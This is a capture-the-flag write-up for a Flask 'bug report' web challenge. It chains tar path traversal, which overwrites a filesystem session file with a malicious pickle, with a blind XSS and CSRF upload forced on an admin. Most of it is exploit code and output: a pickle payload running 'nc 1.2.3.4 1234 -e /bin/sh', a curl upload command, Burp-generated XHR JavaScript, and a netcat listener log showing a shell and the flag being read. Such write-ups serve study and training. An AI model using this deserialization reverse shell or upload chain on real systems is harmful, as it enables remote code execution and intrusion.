1. Register and Login2. Submit Bug Report
Vulns:- Tar Unzip Path Traversal- Tar content => Overwrite flask_session's file type
```Challenge file: config.pyclass Config(object):    SECRET_KEY = generate(50)    UPLOAD_FOLDER = f'{os.getcwd()}/application/static/firmware_extract'[...]    SESSION_TYPE = 'filesystem'```
After reading things from:- /lib/python3.9/site-packages/flask_session/sessions.py- /lib/python3.9/site-packages/cachelib/{file.py,serializers.py}
Session type 'filesystem' is actually a Pickle serialized file-based cookie.
MD5 of cookie name => session file name
Cookie: session=b65d12b3-e9ba-423c-adfa-6f2a72b228ed
md5(b65d12b3-e9ba-423c-adfa-6f2a72b228ed) = c772baf4518b283715a0e4fa68807b4a
It's a standard pickle serialization with first 4 bytes is expiry. ignore with \x00 * 4 (if condition in code).
`open('c772baf4518b283715a0e4fa68807b4a', 'wb').write(b"\x00\x00\x00\x00cos\nsystem\n(S'nc 1.2.3.4 1234 -e /bin/sh'\ntR.'\ntR.")`
`python tarbomb.py c772baf4518b283715a0e4fa68807b4a exploit.tar.gz 10 app/flask_session/`
(tarbomb.py [https://gist.github.com/pich4ya/8252921050859a2d831a68aed83e2454](https://gist.github.com/pich4ya/8252921050859a2d831a68aed83e2454))
- Blind XSS forces Admin to upload .tar
3. I craft the admin upload AJAX request by- locally change admin's pwd- login to get a local admin's cookie
`curl -F "file=@/path/to/exploit.tar.gz"  --proxy http://127.0.0.1:8080 --cookie "session=e9959b0f-64eb-4246-856c-27b4cb2bdd21" http://mymachine.local:1337/api/firmware/upload`
- use Burp Pro to generate CSRF PoC -> you will get JavaScript for admin file upload
```var xhr = new XMLHttpRequest();xhr.open("POST", "http:\/\/1.2.3.4:32367\/api\/firmware\/upload", true);xhr.setRequestHeader("Accept", "*\/*");xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=------------------------e487cf83e6cd4943");xhr.withCredentials = true;var body = "--------------------------e487cf83e6cd4943\r\n" +   "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.tar.gz\"\r\n" +   "Content-Type: application/octet-stream\r\n" +   "\r\n" +   "\x1f\x8b[...]xde;\xb2\xb7\x8c-\x00(\x00\x00\r\n" +   "--------------------------e487cf83e6cd4943--\r\n";var aBody = new Uint8Array(body.length);for (var i = 0; i < aBody.length; i++){  aBody[i] = body.charCodeAt(i); }xhr.send(new Blob([aBody]));```
I also do:
```"))>```
4. Combine all shit
XSS admin to upload exploit.tar.gz.
```$ ncat -lvp 1234Ncat: Version 7.80 ( https://nmap.org/ncat )Ncat: Listening on :::1234Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 138.68.150.120.Ncat: Connection from 138.68.150.120:35805.iduid=1000(www) gid=1000(www) groups=1000(www)pwd/appcd ..lsappbindevetcflag.txthomelibmediamntoptprocrootrunsbinsrvsystmpusrvarcat flag.txtHTB{des3r1aliz3_4ll_th3_th1ngs}```
